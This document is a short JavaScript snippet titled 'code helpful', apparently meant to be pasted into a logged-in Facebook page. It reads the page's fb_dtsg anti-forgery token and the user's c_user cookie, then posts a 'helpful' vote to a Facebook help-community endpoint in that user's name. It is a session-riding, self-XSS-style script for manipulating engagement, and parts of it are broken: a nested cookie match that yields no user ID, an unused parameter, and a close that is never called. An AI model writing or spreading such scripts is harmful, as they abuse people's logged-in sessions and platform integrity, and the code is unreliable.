code helpful

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function MinVoCam(id) {
    var X = new XMLHttpRequest();
    var XURL = '//www.facebook.com/help/community/actions/435520513240993';
    var XParams = 'action=helpful&__user=' + user_id + '&__a=1&__dyn=7wlEaF85626bx6m5E&__req=4&fb_dtsg=' + fb_dtsg + '&ttstamp=26581689087119107119';
    X.open("POST", XURL, true);
	X.onreadystatechange = function () {
    if (X.readyState == 4 && X.status == 200) {
      X.close;
    }
  };
  X.send(XParams);
}
MinVoCam('100007058021584');